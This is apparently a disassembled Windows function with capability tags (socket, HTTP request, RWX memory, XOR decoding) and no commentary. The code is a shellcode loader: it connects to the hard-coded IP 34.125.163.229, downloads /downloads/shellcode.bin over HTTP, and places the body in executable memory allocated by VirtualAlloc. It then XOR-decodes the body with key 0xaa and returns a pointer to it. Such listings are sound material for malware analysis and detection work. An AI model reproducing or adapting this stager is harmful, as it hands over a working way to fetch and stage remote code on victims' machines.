Function at 0x401090
Capabilities:
Allocate or change rwx memory
Connect socket
Encode data using xor
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, 0x15b0
call fcn.00402180
push esi
push edi
lea eax, [ebp - 0x1b0]
xor edi, edi
push eax
push 0x202
xor esi, esi
call dword [sym.imp.WS2_32.dll_WSAStartup]
push esi
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push str.34.125.163.229
mov dword [ebp - 4], eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x18], eax
mov eax, 2
push 0x50
mov word [ebp - 0x1c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1a], ax
lea eax, [ebp - 0x1c]
push 0x10
push eax
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_connect]
push str.34.125.163.229
push str._downloads_shellcode.bin
lea eax, [ebp - 0x5b0]
push str.GET__s_HTTP_1.1_r_nHost:__s_r_nConnection:_close_r_n_r_n
push eax
call fcn.00401050
lea ecx, [ebp - 0x5b0]
add esp, 0x10
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401130
push 0
sub ecx, edx
lea eax, [ebp - 0x5b0]
push ecx
push eax
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_send]
push 0
push 0x1000
lea eax, [ebp - 0x15b0]
push eax
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0xc], eax
test eax, eax
jle 0x4012d2
nop
add eax, esi
push eax
push edi
mov dword [ebp - 8], eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
add esp, 8
test eax, eax
je 0x4012c8
push dword [ebp - 0xc]
lea ecx, [ebp - 0x15b0]
mov edi, eax
push ecx
add eax, esi
push eax
call sub.VCRUNTIME140.dll_memcpy
mov esi, dword [ebp - 8]
lea eax, [ebp - 0x15b0]
add esp, 0xc
push 0
push 0x1000
push eax
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0xc], eax
test eax, eax
jg 0x401170
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push str._r_n_r_n
push edi
call dword [sym.imp.VCRUNTIME140.dll_strstr]
add esp, 8
test eax, eax
je 0x4012b3
add eax, 4
push 0x40
sub esi, eax
mov dword [ebp - 8], eax
push 0x3000
add esi, edi
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
push dword [ebp - 8]
mov dword [ebp - 4], eax
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
xor ecx, ecx
test esi, esi
jle 0x4012a0
cmp esi, 0x40
jb 0x401284
mov eax, esi
and eax, 0x8000003f
jns 0x401237
dec eax
or eax, 0xffffffc0
inc eax
mov edx, dword [ebp - 4]
mov edi, esi
sub edi, eax
lea eax, [edx + 0x20]
movups xmm0, xmmword [eax - 0x20]
lea eax, [eax + 0x40]
add ecx, 0x40
movaps xmm1, xmmword [0x403240]
xorps xmm0, xmm1
movups xmmword [eax - 0x60], xmm0
movups xmm0, xmmword [eax - 0x50]
xorps xmm0, xmm1
movups xmmword [eax - 0x50], xmm0
movups xmm0, xmmword [eax - 0x40]
xorps xmm0, xmm1
movups xmmword [eax - 0x40], xmm0
movups xmm0, xmmword [eax - 0x30]
xorps xmm1, xmm0
movups xmmword [eax - 0x30], xmm1
cmp ecx, edi
jl 0x401241
cmp ecx, esi
jge 0x4012a3
jmp 0x401287
mov edx, dword [ebp - 4]
xor byte [ecx + edx], 0xaa
inc ecx
cmp ecx, esi
jl 0x401287
mov eax, dword [ebx + 8]
mov dword [eax], esi
mov eax, edx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 8]
mov dword [eax], esi
mov eax, edx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret